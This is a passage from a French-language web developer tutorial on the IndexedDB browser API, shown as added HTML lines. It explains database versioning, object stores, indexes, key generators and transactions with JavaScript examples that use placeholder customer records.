+<p>Une des erreurs courantes possibles lorsqu'on ouvre une base de données, c'est <code>VER_ERR</code>. Celle-ci indique que la version de la base de données stockée sur le disque est <em>supérieure </em>à la version que vous êtes en train d'essayer d'ouvrir. C'est un cas qui doit toujours être pris en considération par le gestionnaire d'erreurs.</p>
+
+<h3 id="Créer_ou_mettre_à_jour_une_version_de_base_de_données">Créer ou mettre à jour une version de base de données</h3>
+
+<p>Lorsque vous créez une nouvelle base de données, ou que vous augmentez le numéro de version d'une base existante (en spécifiant un numéro de version supérieur à celui que vous aviez auparavant, lors de {{ anch("Ouvrir une base de données") }}), l'évènement <code style="font-size: 14px; color: rgb(51, 51, 51);">onupgradeneeded</code><span style="line-height: 21px;"> sera déclenché et un objet </span><code><span style="line-height: 1.5;">IDBVersionChangeEvent</span></code> sera passé à un évènement <code>onversionchange</code> dans <code>request.result</code> (la variable <code>db</code> dans l'exemple). Dans le gestionnaire d’évènement <code>upgradeneeded</code>, vous devez créer les objets de stockage requis pour cette version de base :</p>
+
+<pre class="brush:js;  language-js"><code class="language-js"><span class="comment token">// Cet évènement est seulement implémenté dans des navigateurs récents
+</span>request<span class="punctuation token">.</span>onupgradeneeded <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> db <span class="operator token">=</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+
+ <span class="comment token"> // Crée un </span></code>objet de stockage<code class="language-js"><span class="comment token"> pour cette base de données
+</span>  <span class="keyword token">var</span> objectStore <span class="operator token">=</span> db<span class="punctuation token">.</span><span class="function token">createObjectStore<span class="punctuation token">(</span></span><span class="string token">"name"</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> keyPath<span class="punctuation token">:</span> <span class="string token">"myKey"</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<p>Dans ce cas, la base de données disposera aussitôt des objets de stockage de la version précédente de la base, donc vous n’aurez pas à créer de nouveau ces objets de stockage. Vous aurez seulement besoin de créer de nouveaux objets de stockage, ou d'en supprimer de la version précédente si vous n'en avez plus besoin. Si vous avez besoin de changer un objet de stockage existant  (par exemple, pour changer la <code>keyPath</code>), alors vous devez supprimer l’ancien objet de stockage et le créer à nouveau avec les nouveaux paramètres. Notez que ceci supprimera les informations dans l'objet de stockage ! Si vous avez besoin de sauvegarder ces informations, vous devez les lire et les sauvegarder quelque part avant de mettre à jour la base de données.</p>
+
+<p>Essayer de créer un objet de stockage avec un nom déjà existant (ou essayer de supprimer un objet de stockage avec un nom qui n'existe pas encore) renverra une erreur. </p>
+
+<p>Si l'évènement <code>onupgradeneeded</code> quitte avec succès, le gestionnaire <code>onsuccess</code> de la requête d'ouverture de la base de données sera déclenché. </p>
+
+<p>Blink/Webkit supporte la version courante de la spécification, telle que livrée dans Chrome 23+ et Opera 17+ ; IE10+ également. Les autres implémentations plus anciennes ne prennent pas en charge <code>indexedDB.open(name, version).onupgradeneeded</code>. Pour plus d'informations sur la mise à jour de version de base de données sur les anciens Webkit/Blink, référez vous à <a href="https://developer.mozilla.org/en/IndexedDB/IDBDatabase#setVersion%28%29_.0A.0ADeprecated" title="https://developer.mozilla.org/en/IndexedDB/IDBDatabase#setVersion()_.0A.0ADeprecated">IDBDatabase reference article</a>.</p>
+
+<h3 id="Structurer_la_base_de_données">Structurer la base de données</h3>
+
+<p>Maintenant, structurons la base de données. IndexedDB utilise des objets de stockage plutôt que des tableaux, et une seule base de données peut contenir un nombre quelconque d'objets de stockage. Chaque fois qu'une valeur est stockée dans un objet de stockage, elle est associée à une clé. Il y a différentes manières pour une clé d'être définie, selon que l'objet de stockage utilise un <a href="/en/IndexedDB#gloss_key_path" title="https://developer.mozilla.org/en/IndexedDB#gloss_key_path">key path</a> <em>(chemin de clé)</em> ou un <a href="/en/IndexedDB#gloss_key_generator" title="en/IndexedDB#gloss key generator">key generator</a> <em>(générateur de clé)</em>.</p>
+
+<p>Le tableau suivant montre les différentes manières d'attribuer des clés.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Key Path <em>chemin de clé </em>(<code>keyPath</code>)</th>
+   <th scope="col">Key Generator <em>générateur de clé </em>(<code>autoIncrement</code>)</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Non</td>
+   <td>Non</td>
+   <td>L'objet de stockage peut contenir n'importe quel type de valeur, même des valeurs primitives comme des nombres ou des chaînes de caractères. Vous devez fournir un argument clé séparé chaque fois que vous souhaitez ajouter une nouvelle valeur.</td>
+  </tr>
+  <tr>
+   <td>Oui</td>
+   <td>Non</td>
+   <td>L'objet de stockage peut contenir des objets JavaScript. Les objets doivent avoir une propriété qui a le même nom que le key path.</td>
+  </tr>
+  <tr>
+   <td>Non</td>
+   <td>Oui</td>
+   <td>L'objet de stockage peut contenir n'importe quel type de valeur. La clé est générée pour vous automatiquement, ou vous pouvez fournir un argument  clé séparé si vous voulez utiliser une clé spécifique.</td>
+  </tr>
+  <tr>
+   <td>Oui</td>
+   <td>Oui</td>
+   <td>L'objet de stockage peut contenir des objets JavaScript. Normalement, une clé est générée, et sa valeur est stockée dans l'objet dans une propriété avec le même nom que le key path. Cependant, si une telle propriété existe, sa valeur est utilisée en tant que clé, plutôt que la génération d'une nouvelle clé.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Vous pouvez aussi créer des index sur un objet de stockage, à condition que l'objet de stockage contienne des objets, et non des primitives. Un index vous permet de consulter les valeurs stockées dans un objet de stockage en utilisant la valeur d'une propriété de l'objet stocké, plutôt que la clé de l'objet.</p>
+
+<p>En outre, les index ont la capacité d'appliquer des contraintes simples sur les données stockées. En paramétrant l'option <code>unique</code> lorsque l'on crée un index, ce dernier fait que deux objets ne peuvent être enregistrés en ayant la même valeur pour le chemin de clé de l'index. Par exemple, si vous avez un objet de stockage qui contient un ensemble de personnes, et que vous voulez vous assurer que deux personnes n’aient pas la même adresse de courriel, vous pouvez utiliser un index avec le paramètre <code>unique</code> à <code>true</code>.</p>
+
+<p>Cela peut sembler confus, mais ce simple exemple devrait illustrer ces concepts. D'abord, nous définissons quelques données client à utiliser dans notre exemple :</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="comment token">// Voici à quoi ressemblent nos données client.
+</span><span class="keyword token">const</span> customerData <span class="operator token">=</span> <span class="punctuation token">[</span>
+  <span class="punctuation token">{</span> ssn<span class="punctuation token">:</span> <span class="string token">"444-44-4444"</span><span class="punctuation token">,</span> name<span class="punctuation token">:</span> <span class="string token">"Bill"</span><span class="punctuation token">,</span> age<span class="punctuation token">:</span> <span class="number token">35</span><span class="punctuation token">,</span> email<span class="punctuation token">:</span> <span class="string token">"bill@company.com"</span> <span class="punctuation token">}</span><span class="punctuation token">,</span>
+  <span class="punctuation token">{</span> ssn<span class="punctuation token">:</span> <span class="string token">"555-55-5555"</span><span class="punctuation token">,</span> name<span class="punctuation token">:</span> <span class="string token">"Donna"</span><span class="punctuation token">,</span> age<span class="punctuation token">:</span> <span class="number token">32</span><span class="punctuation token">,</span> email<span class="punctuation token">:</span> <span class="string token">"donna@home.org"</span> <span class="punctuation token">}</span>
+<span class="punctuation token">]</span><span class="punctuation token">;</span></code></pre>
+
+<p>Bien sûr, vous n'utiliseriez pas le numéro de sécurité sociale comme clé primaire dans une table clients parce que tout le monde n'a pas de numéro de sécurité sociale, et vous pourriez stocker leur date de naissance au lieu de leur âge, mais laissons ces choix non pertinents pour des raisons de commodité et continuons.</p>
+
+<p>Maintenant, voyons la création d'une base de données pour stocker ces données :</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">const</span> dbName <span class="operator token">=</span> <span class="string token">"the_name"</span><span class="punctuation token">;</span>
+
+<span class="keyword token">var</span> request <span class="operator token">=</span> indexedDB<span class="punctuation token">.</span><span class="function token">open<span class="punctuation token">(</span></span>dbName<span class="punctuation token">,</span> <span class="number token">2</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+request<span class="punctuation token">.</span>onerror <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token"> // Gestion des erreurs.
+</span><span class="punctuation token">}</span><span class="punctuation token">;</span>
+request<span class="punctuation token">.</span>onupgradeneeded <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> db <span class="operator token">=</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+
+ <span class="comment token"> // Créer un objet de stockage qui contient les informations de nos clients.
+</span> <span class="comment token"> // Nous allons utiliser "ssn" en tant que clé parce qu'il est garanti d'être
+</span> <span class="comment token"> // unique - du moins, c'est ce qu'on en disait au lancement.
+</span>  <span class="keyword token">var</span> objectStore <span class="operator token">=</span> db<span class="punctuation token">.</span><span class="function token">createObjectStore<span class="punctuation token">(</span></span><span class="string token">"customers"</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> keyPath<span class="punctuation token">:</span> <span class="string token">"ssn"</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+ <span class="comment token"> // Créer un index pour rechercher les clients par leur nom. Nous pourrions
+</span> <span class="comment token"> // avoir des doublons (homonymes), alors on n'utilise pas d'index unique.
+</span>  objectStore<span class="punctuation token">.</span><span class="function token">createIndex<span class="punctuation token">(</span></span><span class="string token">"name"</span><span class="punctuation token">,</span> <span class="string token">"name"</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> unique<span class="punctuation token">:</span> <span class="keyword token">false</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+ <span class="comment token"> // Créer un index pour rechercher les clients par leur adresse courriel. Nous voulons nous
+</span> <span class="comment token"> // assurer que deux clients n'auront pas la même, donc nous utilisons un index unique.
+</span>  objectStore<span class="punctuation token">.</span><span class="function token">createIndex<span class="punctuation token">(</span></span><span class="string token">"email"</span><span class="punctuation token">,</span> <span class="string token">"email"</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> unique<span class="punctuation token">:</span> <span class="keyword token">true</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+ <span class="comment token"> // Utiliser la transaction "oncomplete" pour être sûr que la création de l'objet de stockage
+</span> <span class="comment token"> // est terminée avant d'ajouter des données dedans.
+</span>  objectStore<span class="punctuation token">.</span>transaction<span class="punctuation token">.</span>oncomplete <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+   <span class="comment token"> // Stocker les valeurs dans le nouvel objet de stockage.
+</span>    <span class="keyword token">var</span> customerObjectStore <span class="operator token">=</span> db<span class="punctuation token">.</span><span class="function token">transaction<span class="punctuation token">(</span></span><span class="string token">"customers"</span><span class="punctuation token">,</span> <span class="string token">"readwrite"</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">objectStore<span class="punctuation token">(</span></span><span class="string token">"customers"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="keyword token">in</span> customerData<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      customerObjectStore<span class="punctuation token">.</span><span class="function token">add<span class="punctuation token">(</span></span>customerData<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<div>Comme indiqué précédemment, <code>onupgradeneeded</code> est le seul endroit où vous pouvez modifier la structure de la base de données. Dans cette méthode, vous pouvez créer et supprimer des objets de stockage, construire et supprimer des index.</div>
+
+<div></div>
+
+<p>Les objets de stockage sont créés avec un simple appel à <code>createObjectStore()</code>. La méthode prend le nom du stockage et un paramètre de type objet. Même si les paramètres sont optionnels, ils vous laissent définir d'importantes propriétés et redéfinir le type d'un objet de stockage que vous voulez créer. Dans notre cas, nous avons demandé un objet de stockage nommé "customers" et défini un <code>keyPath</code>, qui est la propriété rendant unique un objet individuel dans le stockage. Cette propriété dans l'exemple est "ssn" puisqu'un numéro de sécurité sociale est garanti unique. "ssn" doit être présent sur chaque objet stocké dans <code>objectStore</code>.</p>
+
+<p>Nous avons aussi demandé un index nommé "name" qui examine la propriété <code>name</code> dans les objets stockés. Comme avec<code> createObjectStore()</code>, <code>createIndex()</code> prend un paramètre de type objet facultatif (<code>options</code>) qui définit le type d’index à créer. Ajouter des objets qui n’auront pas de propriété <code>name</code> fonctionnera, mais ces objets n'apparaîtront pas dans l'index "name".</p>
+
+<p>Nous pouvons récupérer les objets client stockés, en utilisant directement leur <code>ssn</code> dans l'objet de stockage, ou en utilisant leur nom via l’index <code>name</code>. Pour en savoir plus sur ce fonctionnement, se référer à la section <a href="https://developer.mozilla.org/en/IndexedDB/Using_IndexedDB#Using_an_index" title="Using IndexedDB#Using an index">utiliser un index</a>.</p>
+
+<h3 id="Utiliser_le_générateur_de_clés">Utiliser le générateur de clés</h3>
+
+<p>Paramétrer un marqueur <code>autoIncrement</code> lorsque l'on crée un objet de stockage activera le générateur de clés pour cet objet de stockage. Par défault, ce marqueur n'est pas défini.</p>
+
+<p>Avec la générateur de clés, une clé sera générée automatiquement lorsque vous ajoutez une valeur dans un objet de stockage. Le compteur initial pour la génération de clés est toujours défini à 1 lorsque l'objet de stockage est créé pour la première fois. Fondamentalement, une nouvelle clé auto-générée sera incrémentée de 1 par rapport à la précédente. Le nombre courant d'un générateur de clé ne décroit jamais, à moins qu'un résultat d'opération sur la base soit annulé, par exemple, l'abandon d'une transaction sur la base. En conséquence, supprimer un enregistrement, voire l'ensemble des enregistrements d'un objet de stockage n'affecte jamais le générateur de clés d'un objet de stockage.</p>
+
+<p>Nous pouvons créer un autre objet de stockage avec un générateur de clés comme ci-dessous :</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="comment token">// Ouverture d'indexedDB.
+</span><span class="keyword token">var</span> request <span class="operator token">=</span> indexedDB<span class="punctuation token">.</span><span class="function token">open<span class="punctuation token">(</span></span>dbName<span class="punctuation token">,</span> <span class="number token">3</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+request<span class="punctuation token">.</span>onupgradeneeded <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+
+    <span class="keyword token">var</span> db <span class="operator token">=</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+
+   <span class="comment token"> // Création d'un autre objet appelé "names" avec l'option autoIncrement définie à true.
+</span>    <span class="keyword token">var</span> objStore <span class="operator token">=</span> db<span class="punctuation token">.</span><span class="function token">createObjectStore<span class="punctuation token">(</span></span><span class="string token">"names"</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> autoIncrement <span class="punctuation token">:</span> <span class="keyword token">true</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+   <span class="comment token"> // Puisque l'objet "names" a un générateur de clés, la clé pour la valeur name est générée automatiquement.
+</span>   <span class="comment token"> // Les enregistrements ajoutés ressembleront à ceci :
+</span>   <span class="comment token"> // key : 1 =&gt; value : "Bill"
+</span>   <span class="comment token"> // key : 2 =&gt; value : "Donna"
+</span>    <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="keyword token">in</span> customerData<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        objStore<span class="punctuation token">.</span><span class="function token">add<span class="punctuation token">(</span></span>customerData<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>name<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Pour plus de détails sur le générateur de clés, voyez <a href="http://www.w3.org/TR/IndexedDB/#key-generator-concept">"W3C Key Generators"</a>.</p>
+
+<h2 id="Ajouter_récupérer_et_supprimer_des_données">Ajouter, récupérer et supprimer des données</h2>
+
+<p>Avant de faire quoi que ce soit avec votre nouvelle base de données, vous aurez besoin de démarrer une transaction. Les transactions viennent de l'objet base de données, et vous devez spécifier sur quel objet vous souhaitez faire pointer la transaction. Une fois dans la transaction, vous pouvez accéder à l'objet de stockage qui contient vos données et faire vos requêtes. Puis, vous devez décider si vous allez appliquer des changements à la base de données, ou si vous avez juste besoin de la lire. Les transactions disposent de trois modes disponibles: <code>readonly</code> <em>(lecture seule)</em>, <code>readwrite</code> <em>(lecture/écriture)</em>, et <code>versionchange</code> <em>(changement de version)</em>.</p>
+
+<p>Pour changer le "schéma" ou la structure de la base de données — qui implique de créer ou supprimer des objets de stockage ou des index — la transaction doit être en mode <code>versionchange</code>. Cette transaction est ouverte en appelant la méthode {{domxref("IDBFactory.open")}}  avec une <code>version</code> spécifiée. (Dans les navigateurs WebKit, qui n'ont pas implémenté la dernière spécification, la méthode {{domxref("IDBFactory.open")}} prend seulement un paramètre, le <code>nom</code> de la base de données ; Vous devez donc appeler {{domxref("IDBVersionChangeRequest.setVersion")}} pour établir la transaction <code>versionchange</code>.)</p>
+
+<p>Pour lire les enregistrements d'un objet de stockage existant, la transaction peut être en mode <code>readonly</code>ou <code>readwrite</code>. Pour appliquer des changements à un objet de stockage existant, la transaction doit être en mode <code>readwrite</code>. Vous démarrez ces transactions avec {{domxref("IDBDatabase.transaction")}}. La méthode accepte deux paramètres : les <code>storeNames</code> (la portée, définie comme un tableau des objets de stockage auxquels vous souhaitez accéder) et le <code>mode</code> (<code>readonly</code> ou <code>readwrite</code>) pour la transaction. La méthode retourne un objet de transaction contenant la méthode {{domxref("IDBIndex.objectStore")}}, que vous utilisez pour accéder à votre objet de stockage. Par défaut, lorsqu'aucun mode n'est spécifié, les transactions démarrent en mode <code>readonly</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: À partir de Firefox 40, les transactions IndexedDB ont des garanties de durabilité relachées afin d'augmenter les performances (voir {{Bug("1112702")}}.) Auparavant, lors d'une transaction <code>readwrite</code> {{domxref("IDBTransaction.oncomplete")}} était déclenché seulement lorsque les données étaient garanties pour une écriture sur le disque. Dans Firefox 40+ l'évènement <code>complete</code> est déclenché une fois que l'OS a autorisé l'écriture de données, mais potentiellement avant que les données soient réellement écrites sur le disque. L'évènement <code>complete</code> peut ainsi être livré plus vite qu'avant, cependant, il existe un petit risque que l'ensemble de la transaction soit perdu si l'OS s'effondre ou si un problème électrique survient avant que les données soient écrites. Comme de tels évènements catastrophiques sont rares, la plupart des utilisateurs n'ont pas à s'en soucier. Si vous devez vous assurer de la durabilité pour quelconque raison que ce soit (par exemple, vous stockez des données critiques qui ne peuvent être recalculées plus tard) vous pouvez forcer une transaction à écrire sur le disque avant que l'évènement <code>complete</code> ne soit délivré en créant une transaction utilisant un mode expérimental (non-standard) <code>readwriteflush</code>  (se référer à {{domxref("IDBDatabase.transaction")}}.</p>
+</div>
+
+<p>Vous pouvez accélérer l'accès à vos données en utilisant le bon mode et la bonne portée dans la transaction. Voici deux astuces :</p>
+
+<ul>
+ <li>Lorsque vous définissez la portée, spécifiez uniquement les objets de stockage dont vous avez besoin. De cette manière, vous pouvez exécuter plusieurs transactions simultanément sans qu'elles se chevauchent.</li>
+ <li>Spécifier le mode <code>readwrite</code> pour une transaction seulement lorsque c'est nécessaire. Vous pouvez exécuter simulaténement plusieurs transactions <code>readonly</code> avec chevauchements, mais vous ne pouvez avoir qu'une seule transaction <code>readwrite</code> dans un objet de stockage. Pour en savoir plus, regardez la définition des <dfn><a href="https://developer.mozilla.org/en-US/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB#Database">transactions</a></dfn> dans l'article des <a href="https://developer.mozilla.org/en-US/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB">concepts de base</a>.</li>
+</ul>
+
+<h3 id="Ajouter_des_données_dans_la_base_de_données">Ajouter des données dans la base de données</h3>
+
+<p>Si vous venez juste de créer une base de données, alors vous souhaitez probablement écrire dedans. Voici comment ça se passe :</p>
+
+<pre class="brush:js;  language-js"><code class="language-js"><span class="keyword token">var</span> transaction <span class="operator token">=</span> db<span class="punctuation token">.</span><span class="function token">transaction<span class="punctuation token">(</span></span><span class="punctuation token">[</span><span class="string token">"customers"</span><span class="punctuation token">]</span><span class="punctuation token">,</span> <span class="string token">"readwrite"</span><span class="punctuation token">)</span><span class="punctuation token">;</span><span class="comment token">
+// Note: Les anciennes implémentations utilisent la constante dépréciée IDBTransaction.READ_WRITE au lieu de "readwrite".
+</span><span class="comment token">// Au cas où vous souhaitiez mettre en oeuvre ces implémentations, vous pouvez écrire :
+</span><span class="comment token">// var transaction = db.transaction(["customers"], IDBTransaction.READ_WRITE);</span></code></pre>
+
+<p>La fonction <code>transaction()</code> prend deux arguments (bien que l'un d'eux soit facultatif) et retourne un objet transaction. Le premier argument est une liste d'objets de stockage que la transaction va traiter. Vous pouvez passer un tableau vide si vous voulez que la transaction traite l'ensemble des objets de stockage, mais ne le faites pas, parce que la spécification indique qu'un tableau vide devrait générer une InvalidAccessError. Si vous ne spécifiez rien pour le deuxième argument, vous démarrerez une transaction "read-only" <em>(lecture seule)</em> . Si vous souhaitez aussi écrire, vous devrez passer l'option <code>"readwrite"</code> <em>(lecture/écriture)</em>.</p>
+
+<p>Maintenant que vous avez une transaction, vous devez comprendre sa durée de vie. Les transactions sont étroitement liées à la boucle de l'évènement. Si vous établissez une transaction et si vous sortez de la boucle d'évènements sans l'utiliser, alors la transaction deviendra inactive. La seule manière de garder la transaction active est d'y insérer une requête. Lorsque la requête est terminée, vous obtenez un évènement DOM, et en supposant que la requête ait réussi, vous avez une autre opportunité d'étendre la transaction durant ce "callback" <em>(rappel)</em>. Si vous sortez de la boucle d'évènements sans étendre la transaction, alors elle devient inactive, etc… Tant qu'il reste des demandes en attente, la transaction reste active. La durée de vie des transactions est vraiment très simple, mais cela peut prendre un peu de temps de la maîtriser. Quelques exemples supplémentaires aideront. Si vous commencez à voir des codes d'erreur <code>TRANSACTION_INACTIVE_ERR</code>, alors vous avez raté quelque chose.</p>
+
+<p>Les transactions peuvent recevoir des évènements DOM de trois types : <code>error</code> <em>(erreur)</em>, <code>abort</code> <em>(abandonnée)</em> et <code>complete</code> <em>(terminée)</em>. Nous avons déjà parlé du fait que les <code>error</code> créent des bulles, ainsi une transaction peut recevoir des évènements d'erreur venant de n'importe quelle requête l'ayant généré. Un point plus subtil ici, c'est que le comportement par défaut d'une erreur est d'abandonner la transaction là où elle a eu lieu. A moins que vous gériez l’erreur en appelant d'abord <code>stopPropagation()</code> sur l’évènement erreur, puis que vous fassiez quelque chose d'autre, la transaction complète sera annulée. Cette conception vous oblige à réfléchir et gérer les erreurs, mais vous pouvez toujours ajouter un gestionnaire d'erreurs "fourre-tout" à la base de données si la gestion d'erreurs fines est trop lourde. Si vous ne gérez pas un évènement d'erreur, ou si vous appelez <code>abort()</code> sur la transaction, alors la transaction est annulée et un évènement <code>abort</code> est lancé sur la transaction. Sinon, une fois que toutes les demandes en instance sont terminées, vous recevez un évènement <code>complete</code>. Si vous faites beaucoup d'opérations sur les bases de données, alors suivre la transaction plutôt que les requêtes individuelles, peut certainement vous aider.</p>
+
+<p>Maintenant que vous avons une transaction, nous avons besoin de récupérer l'objet de stockage de celle-ci. Les transactions vous permettent seulement d'avoir l'objet de stockage que vous avez spécifié lors de la création de la transaction. Puis, vous pouvez ajouter toutes les données dont vous avez besoin.</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="comment token">// Faire quelque chose lorsque toutes les données sont ajoutées à la base de données.
+</span>transaction<span class="punctuation token">.</span>oncomplete <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="function token">alert<span class="punctuation token">(</span></span><span class="string token">"All done!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+transaction<span class="punctuation token">.</span>onerror <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token"> // N'oubliez pas de gérer les erreurs !
+</span><span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="keyword token">var</span> objectStore <span class="operator token">=</span> transaction<span class="punctuation token">.</span><span class="function token">objectStore<span class="punctuation token">(</span></span><span class="string token">"customers"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="keyword token">in</span> customerData<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> request <span class="operator token">=</span> objectStore<span class="punctuation token">.</span><span class="function token">add<span class="punctuation token">(</span></span>customerData<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  request<span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+   <span class="comment token"> // event.target.result == customerData[i].ssn;
+</span>  <span class="punctuation token">}</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div>La méthode <code>result</code> d’une requête venant d'un appel à <code>add()</code> est la clé de la valeur qui vient d'être ajoutée. Dans ce cas, ce devrait être équivalent à la propriété <code>ssn</code> de l'objet qui vient d'être ajouté, puisque l'objet de stockage utilise la propriété <code>ssn</code> pour le key path. Notez que la fonction <code>add()</code> requiert qu'aucun objet déjà présent dans la base ait la même clé. Si vous essayez de modifier une entrée existante, ou si vous ne vous en occupez pas, vous pouvez utiliser la fonction <code>put()</code>, comme montré plus loin dans la section {{ anch("Updating an entry in the database") }}.</div>
+
+<div></div>
+
+<h3 id="Supprimer_des_données_dans_la_base_de_données">Supprimer des données dans la base de données</h3>
+
+<p>Supprimer des données est très similaire :</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">var</span> request <span class="operator token">=</span> db<span class="punctuation token">.</span><span class="function token">transaction<span class="punctuation token">(</span></span><span class="punctuation token">[</span><span class="string token">"customers"</span><span class="punctuation token">]</span><span class="punctuation token">,</span> <span class="string token">"readwrite"</span><span class="punctuation token">)</span>
+                <span class="punctuation token">.</span><span class="function token">objectStore<span class="punctuation token">(</span></span><span class="string token">"customers"</span><span class="punctuation token">)</span>
+                <span class="punctuation token">.</span><span class="keyword token">delete</span><span class="punctuation token">(</span><span class="string token">"444-44-4444"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+request<span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token"> // c'est supprimé !
+</span><span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="Récupérer_des_données_de_la_base_de_données">Récupérer des données de la base de données</h3>
+
+<p>Maintenant que la base de données dispose de quelques informations, vous pouvez les récupérer de plusieurs façons. D'abord, la plus simple <code>get()</code>. Vous devez fournir une clé pour récupérer la valeur, comme ceci :</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">var</span> transaction <span class="operator token">=</span> db<span class="punctuation token">.</span><span class="function token">transaction<span class="punctuation token">(</span></span><span class="punctuation token">[</span><span class="string token">"customers"</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> objectStore <span class="operator token">=</span> transaction<span class="punctuation token">.</span><span class="function token">objectStore<span class="punctuation token">(</span></span><span class="string token">"customers"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> request <span class="operator token">=</span> objectStore<span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">(</span><span class="string token">"444-44-4444"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+request<span class="punctuation token">.</span>onerror <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token"> // gestion des erreurs!
+</span><span class="punctuation token">}</span><span class="punctuation token">;</span>
+request<span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token"> // Faire quelque chose avec request.result !
+</span>  <span class="function token">alert<span class="punctuation token">(</span></span><span class="string token">"Name for SSN 444-44-4444 is "</span> <span class="operator token">+</span> request<span class="punctuation token">.</span>result<span class="punctuation token">.</span>name<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<p>Ça fait beaucoup de code pour une "simple" récupération. Voici comment le raccourcir un peu, en supposant que vous gériez les erreurs au niveau de la base de données :</p>
+
